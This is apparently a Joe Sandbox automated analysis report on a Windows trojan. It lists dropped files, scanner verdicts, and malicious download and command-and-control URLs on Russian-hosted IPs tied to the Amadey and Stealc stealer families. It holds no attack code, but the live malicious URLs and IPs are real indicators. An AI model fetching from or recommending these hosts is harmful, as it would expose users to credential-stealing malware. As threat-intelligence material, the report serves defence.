C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\amadka[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\amadka[1].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
http://85.28.47.4/	100%	Avira URL Cloud	malware
http://77.91.77.81/cost/go.exe	100%	Avira URL Cloud	phishing
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
http://77.91.77.81/mine/amadka.exe	100%	Avira URL Cloud	malware
https://duckduckgo.com/chrome_newtab	0%	Virustotal		Browse
http://77.91.77.81/mine/amadka.exe	27%	Virustotal		Browse
http://85.28.47.4/	17%	Virustotal		Browse
https://duckduckgo.com/ac/?q=	0%	Virustotal		Browse
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	0%	Virustotal		Browse
http://77.91.77.81/cost/go.exe	27%	Virustotal		Browse
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsusersIncIEEERootCA.cr	0%	Virustotal		Browse
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/vcruntime140.dllm	100%	Avira URL Cloud	malware
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsusersIncIEEERootCA.cr	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php	100%	Avira URL Cloud	phishing
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/nss3.dllBn	100%	Avira URL Cloud	malware
http://85.28.47.4/69934896f997d5bb/nss3.dllb	100%	Avira URL Cloud	malware
http://77.91.77.82/Hun4Ko/index.phpV	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/mozglue.dllV	100%	Avira URL Cloud	malware
http://77.91.77.82/Hun4Ko/index.php-	0%	Avira URL Cloud	safe
http://85.28.47.4/y	100%	Avira URL Cloud	malware
http://85.28.47.4/69934896f997d5bb/softokn3.dll	100%	Avira URL Cloud	malware
http://77.91.77.82/Hun4Ko/index.php	24%	Virustotal		Browse
http://85.28.47.4/69934896f997d5bb/mozglue.dllV	18%	Virustotal		Browse
http://77.91.77.82/Hun4Ko/index.phpa=	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php-	21%	Virustotal		Browse
http://85.28.47.4/69934896f997d5bb/mozglue.dll	100%	Avira URL Cloud	malware
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	0%	Virustotal		Browse
http://85.28.47.4/69934896f997d5bb/nss3.dll	100%	Avira URL Cloud	malware
http://77.91.77.82/Hun4Ko/index.php=	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/softokn3.dll	6%	Virustotal		Browse
http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	100%	Avira URL Cloud	malware
http://85.28.47.4A	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phpV	22%	Virustotal		Browse
http://www.sqlite.org/copyright.html.	0%	Avira URL Cloud	safe
http://77.91.77.81/mine/amadka.exe-Disposition:	100%	Avira URL Cloud	phishing
http://77.91.77.82/Hun4Ko/index.php5	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	7%	Virustotal		Browse
http://www.sqlite.org/copyright.html.	0%	Virustotal		Browse
http://77.91.77.81/mine/amadka.exe-Disposition:	25%	Virustotal		Browse
http://77.91.77.82/Hun4Ko/index.php=	21%	Virustotal		Browse
http://85.28.47.4/69934896f997d5bb/nss3.dll	9%	Virustotal		Browse
https://cdn.epnacl	0%	Avira URL Cloud	safe
http://77.91.77.81/mine/amadka.exe00	100%	Avira URL Cloud	phishing
http://77.91.77.82/	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php5	21%	Virustotal		Browse
http://85.28.47.4/69934896f997d5bb/mozglue.dll	7%	Virustotal		Browse
http://77.91.77.81/stealc/random.exeurlencoded	100%	Avira URL Cloud	phishing
http://www.mozilla.com/en-US/blocklist/	0%	Avira URL Cloud	safe
https://mozilla.org0/	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/freebl3.dll	100%	Avira URL Cloud	malware
http://77.91.77.82/	22%	Virustotal		Browse
http://www.mozilla.com/en-US/blocklist/	0%	Virustotal		Browse
http://85.28.47.4/920475a59bac849d.php	100%	Avira URL Cloud	malware
http://77.91.77.81/stealc/random.exe5067	100%	Avira URL Cloud	phishing
http://77.91.77.81/mine/amadka.exe00	25%	Virustotal		Browse
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://77.91.77.81/stealc/random.exeurlencoded	24%	Virustotal		Browse
http://85.28.47.4/69934896f997d5bb/freebl3.dll	6%	Virustotal		Browse
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	0%	Avira URL Cloud	safe
http://85.28.47.4/920475a59bac849d.php	22%	Virustotal		Browse
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	0%	Avira URL Cloud	safe
http://77.91.77.81/stealc/random.exe	100%	Avira URL Cloud	phishing
http://85.28.47.4/69934896f997d5bb/sqlite3.dll	100%	Avira URL Cloud	malware
http://77.91.77.81/cost/go.exe00	100%	Avira URL Cloud	phishing
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
http://77.91.77.81/stealc/random.exe	27%	Virustotal		Browse
http://85.28.47.4/920475a59bac849d.phpZ	100%	Avira URL Cloud	malware
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse
http://85.28.47.4/69934896f997d5bb/msvcp140.dll	100%	Avira URL Cloud	malware
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	0%	Avira URL Cloud	safe
https://cdn.ep	0%	Avira URL Cloud	safe
http://85.28.47.4	100%	Avira URL Cloud	malware
http://85.28.47.4/69934896f997d5bb/softokn3.dllh	100%	Avira URL Cloud	malware
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/sqlite3.dll	23%	Virustotal		Browse
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	Avira URL Cloud	safe
http://pki-ocsp.symauth.com0	0%	Avira URL Cloud	safe
http://85.28.47.4/920475a59bac849d.phps	100%	Avira URL Cloud	malware
http://85.28.47.4/920475a59bac849d.phpu	100%	Avira URL Cloud	malware
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phpg	0%	Avira URL Cloud	safe
http://77.91.77.81/mine/amadka.exeFr	100%	Avira URL Cloud	phishing
http://77.91.77.82/Hun4Ko/index.phpe	0%	Avira URL Cloud	safe
http://85.28.47.4/6	100%	Avira URL Cloud	malware
http://77.91.77.81/stealc/random.exeX	100%	Avira URL Cloud	phishing
http://77.91.77.81/stealc/random.exeS	100%	Avira URL Cloud	phishing
http://85.28.47.4/920475a59bac849d.phpft	100%	Avira URL Cloud	malware
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	0%	Avira URL Cloud	safe
http://77.91.77.81/cost/go.exeAppData	100%	Avira URL Cloud	phishing

Name	Malicious	Antivirus Detection	Reputation
http://77.91.77.81/mine/amadka.exe	false	27%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://77.91.77.82/Hun4Ko/index.php	true	24%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://85.28.47.4/69934896f997d5bb/softokn3.dll	true	6%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/mozglue.dll	true	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/nss3.dll	true	9%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	true	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/freebl3.dll	true	6%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.4/920475a59bac849d.php	true	22%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/sqlite3.dll	true	23%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/msvcp140.dll	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	JKKEHJDH.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	JKKEHJDH.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.91.77.81/cost/go.exe	Rnteb46TuM.exe, 00000000.00000002.2295449194.0000000000548000.00000040.00000001.01000000.00000003.sdmp, Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001A05000.00000004.00000020.00020000.00000000.sdmp	false	27%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://85.28.47.4/	6e6e496542.exe, 0000000C.00000002.2417828325.0000000001715000.00000004.00000020.00020000.00000000.sdmp, 6e6e496542.exe, 0000000C.00000002.2417828325.000000000174E000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	Rnteb46TuM.exe, random[1].exe.10.dr, 6e6e496542.exe.10.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://85.28.47.4/69934896f997d5bb/vcruntime140.dllm	Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001A58000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsusersIncIEEERootCA.cr	Rnteb46TuM.exe, random[1].exe.10.dr, 6e6e496542.exe.10.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001A69000.00000004.00000020.00020000.00000000.sdmp, JKKEHJDH.0.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001B74000.00000004.00000020.00020000.00000000.sdmp, IEHJDGIDBAAFIDGCGCAK.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://85.28.47.4/69934896f997d5bb/nss3.dllBn	Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001A28000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/nss3.dllb	Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001A58000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://77.91.77.82/Hun4Ko/index.phpV	explorti.exe, 0000000A.00000002.3339390181.00000000018DE000.00000004.00000020.00020000.00000000.sdmp	false	22%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://85.28.47.4/69934896f997d5bb/mozglue.dllV	Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001B74000.00000004.00000020.00020000.00000000.sdmp	false	18%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://77.91.77.82/Hun4Ko/index.php-	explorti.exe, 0000000A.00000002.3339390181.00000000018B1000.00000004.00000020.00020000.00000000.sdmp	false	21%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://85.28.47.4/y	6e6e496542.exe, 0000000C.00000002.2417828325.0000000001715000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001A69000.00000004.00000020.00020000.00000000.sdmp, JKKEHJDH.0.dr	false	URL Reputation: safe	unknown
http://77.91.77.82/Hun4Ko/index.phpa=	explorti.exe, 0000000A.00000002.3339390181.00000000018F1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.php=	explorti.exe, 0000000A.00000002.3339390181.00000000018F1000.00000004.00000020.00020000.00000000.sdmp	false	21%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://85.28.47.4A	Rnteb46TuM.exe, 00000000.00000002.2299175818.00000000019EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sqlite.org/copyright.html.	Rnteb46TuM.exe, 00000000.00000002.2316554631.000000001D0FF000.00000004.00000020.00020000.00000000.sdmp, Rnteb46TuM.exe, 00000000.00000002.2330958093.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.91.77.81/mine/amadka.exe-Disposition:	Rnteb46TuM.exe, 00000000.00000002.2295449194.0000000000548000.00000040.00000001.01000000.00000003.sdmp	false	25%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://77.91.77.82/Hun4Ko/index.php5	explorti.exe, 0000000A.00000002.3339390181.00000000018F1000.00000004.00000020.00020000.00000000.sdmp	false	21%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://cdn.epnacl	Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001A69000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/mine/amadka.exe00	Rnteb46TuM.exe, 00000000.00000002.2295449194.0000000000548000.00000040.00000001.01000000.00000003.sdmp	false	25%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://77.91.77.82/	explorti.exe, 0000000A.00000002.3339390181.00000000018F1000.00000004.00000020.00020000.00000000.sdmp	true	22%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.mozilla.com/en-US/blocklist/	Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.91.77.81/stealc/random.exeurlencoded	explorti.exe, 0000000A.00000002.3339390181.00000000018DE000.00000004.00000020.00020000.00000000.sdmp	false	24%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/stealc/random.exe5067	explorti.exe, 0000000A.00000002.3339390181.00000000018DE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	JKKEHJDH.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001B74000.00000004.00000020.00020000.00000000.sdmp, IEHJDGIDBAAFIDGCGCAK.0.dr	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	IEHJDGIDBAAFIDGCGCAK.0.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/stealc/random.exe	explorti.exe, 0000000A.00000002.3339390181.00000000018DE000.00000004.00000020.00020000.00000000.sdmp	false	27%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://77.91.77.81/cost/go.exe00	Rnteb46TuM.exe, 00000000.00000002.2295449194.0000000000548000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: phishing	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	JKKEHJDH.0.dr	false	Avira URL Cloud: safe	unknown
http://85.28.47.4/920475a59bac849d.phpZ	6e6e496542.exe, 0000000C.00000002.2417828325.000000000174E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://upx.sf.net	Amcache.hve.6.dr	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001A69000.00000004.00000020.00020000.00000000.sdmp, JKKEHJDH.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	BKJEGDGIJECGCBGCGHDGIEGCBF.0.dr	false	URL Reputation: safe	unknown
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001B74000.00000004.00000020.00020000.00000000.sdmp, IEHJDGIDBAAFIDGCGCAK.0.dr	false	Avira URL Cloud: safe	unknown
https://cdn.ep	Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001A69000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.28.47.4	Rnteb46TuM.exe, 00000000.00000002.2299175818.00000000019EE000.00000004.00000020.00020000.00000000.sdmp, 6e6e496542.exe, 0000000C.00000002.2417828325.00000000016FE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	JKKEHJDH.0.dr	false	URL Reputation: safe	unknown
http://85.28.47.4/69934896f997d5bb/softokn3.dllh	Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001B74000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	BKJEGDGIJECGCBGCGHDGIEGCBF.0.dr	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001B74000.00000004.00000020.00020000.00000000.sdmp, IEHJDGIDBAAFIDGCGCAK.0.dr	false	Avira URL Cloud: safe	unknown
http://pki-ocsp.symauth.com0	Rnteb46TuM.exe, random[1].exe.10.dr, 6e6e496542.exe.10.dr	false	Avira URL Cloud: safe	unknown
http://85.28.47.4/920475a59bac849d.phps	6e6e496542.exe, 0000000C.00000002.2417828325.000000000174E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://85.28.47.4/920475a59bac849d.phpu	6e6e496542.exe, 0000000C.00000002.2417828325.000000000174E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://77.91.77.82/Hun4Ko/index.phpg	explorti.exe, 0000000A.00000002.3339390181.00000000018DE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001B74000.00000004.00000020.00020000.00000000.sdmp, IEHJDGIDBAAFIDGCGCAK.0.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/mine/amadka.exeFr	Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001A28000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://77.91.77.82/Hun4Ko/index.phpe	explorti.exe, 0000000A.00000002.3339390181.00000000018F1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.28.47.4/6	6e6e496542.exe, 0000000C.00000002.2417828325.000000000174E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://77.91.77.81/stealc/random.exeX	explorti.exe, 0000000A.00000002.3339390181.00000000018DE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://support.mozilla.org	BKJEGDGIJECGCBGCGHDGIEGCBF.0.dr	false	URL Reputation: safe	unknown
http://77.91.77.81/stealc/random.exeS	explorti.exe, 0000000A.00000002.3339390181.00000000018DE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	JKKEHJDH.0.dr	false	URL Reputation: safe	unknown
http://85.28.47.4/920475a59bac849d.phpft	6e6e496542.exe, 0000000C.00000002.2417828325.0000000001715000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001B74000.00000004.00000020.00020000.00000000.sdmp, IEHJDGIDBAAFIDGCGCAK.0.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/cost/go.exeAppData	Rnteb46TuM.exe, 00000000.00000002.2295449194.0000000000548000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: phishing	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
77.91.77.81	unknown	Russian Federation	42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	false
85.28.47.4	unknown	Russian Federation	31643	GES-ASRU	true
77.91.77.82	unknown	Russian Federation	42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1465032
Start date and time:	2024-07-01 07:19:43 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Rnteb46TuM.exe renamed because original name is a hash value
Original Sample Name:	9c1c20db1d73c66795b9b49f39aff02d621dd06c05d7d3ea1007ac7bcbf3f3cd.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@17/30@0/3
EGA Information:	Successful, ratio: 60%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target AFBFHDBKJE.exe, PID 2016 because it is empty
Execution Graph export aborted for target explorti.exe, PID 5112 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:20:57	API Interceptor	2471227x Sleep call for process: explorti.exe modified
07:20:56	Task Scheduler	Run new task: explorti path: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
77.91.77.81	8vZMEr8sm9.exe	Get hash	malicious	Amadey	Browse	77.91.77.81/stealc/random.exe
	Zachv5lCuu.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	1719520929.094843_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PrivateLoader, PureLog Stealer, Socks5Systemz, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	j7iUba2bki.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	1Cvd8TyYPm.exe	Get hash	malicious	LummaC, Mars Stealer, PureLog Stealer, Stealc, Vidar, Xmrig, zgRAT	Browse	77.91.77.81/stealc/random.exe
	ukuWaeRgPR.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	tAa6xNsucX.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/mine/amadka.exe
	1Vkf7silOj.exe	Get hash	malicious	LummaC, Amadey, Mars Stealer, PureLog Stealer, RedLine, SmokeLoader, Stealc	Browse	77.91.77.81/Kiru9gu/index.php
	wqmnYoVbHr.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
85.28.47.4	Zachv5lCuu.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	1719520929.094843_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PrivateLoader, PureLog Stealer, Socks5Systemz, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	UjgmwyFttK.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/69934896f997d5bb/sqlite3.dll
	j7iUba2bki.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	1Cvd8TyYPm.exe	Get hash	malicious	LummaC, Mars Stealer, PureLog Stealer, Stealc, Vidar, Xmrig, zgRAT	Browse	85.28.47.4/920475a59bac849d.php
	ukuWaeRgPR.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	tAa6xNsucX.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	wqmnYoVbHr.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	EZrw1nNIpG.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php

Domains

